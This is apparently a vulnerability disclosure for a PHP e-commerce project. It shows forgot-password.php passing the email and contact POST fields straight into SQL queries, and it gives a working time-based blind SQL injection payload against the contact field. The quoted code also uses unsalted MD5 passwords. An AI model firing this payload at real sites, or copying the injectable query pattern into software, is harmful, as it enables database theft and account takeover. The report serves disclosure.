

# Shopping Website (E-Commerce)

## forgot-password.php has Sqlinjection

A SQL injection vulnerability exists in the Shopping Website (E-Commerce) forgot-password.php. The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

```
main-header.php
menu-bar.php
myaccount-sidebar....
myaccount-sidebar2...
side-menu.php
top-header.php
> js
> layouts
> SQL file
bill-ship-addresses.php
bill-ship-addresses2.p...
category.php
check_availability.php
forgot-password.php
index.php
login.php
logout.php
my-account.php
my-cart.php
my-wishlist.php

6  if(isset($_POST['change']))
7  {
8      $email=$_POST['email'];
9      $contact=$_POST['contact'];
10     $password=md5($_POST['password']);
11     $query=mysqli_query($con,"SELECT * FROM users WHERE email='$email' and contactno='$contact'");
12     $num=mysqli_fetch_array($query);
13     if($num>0)
14     {
15         $extra="forgot-password.php";
16         mysqli_query($con,"update users set password='$password' WHERE email='$email' and contactno='$contact' ");
17         $host=$_SERVER['HTTP_HOST'];
18         $uri=rtrim(dirname($_SERVER['PHP_SELF']),'/\\');
19         header("location:http://$host$uri/$extra");
20         $_SESSION['errmsg']="Password Changed Successfully";
21         exit();
22     }
23     else
24     {
25         $extra="forgot-password.php";
26         $host = $_SERVER['HTTP_HOST'];
27         $uri = rtrim(dirname($_SERVER['PHP_SELF']),'/\\');
```

```
$extra="forgot-password.php";
mysqli_query($con,"update users set password='$password' WHERE email='$email' and contactno='$contact' ");
$host=$_SERVER['HTTP_HOST'];
$uri=rtrim(dirname($_SERVER['PHP_SELF']),'/\\');
```

## Sql Attack Payload

---

Parameter: contact (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: email=123@123.com&contact=123' AND (SELECT 8800 FROM  
(SELECT(SLEEP(5)))urZb) AND

'xegh'='xegh&password=123&confirmpassword=213&change=

---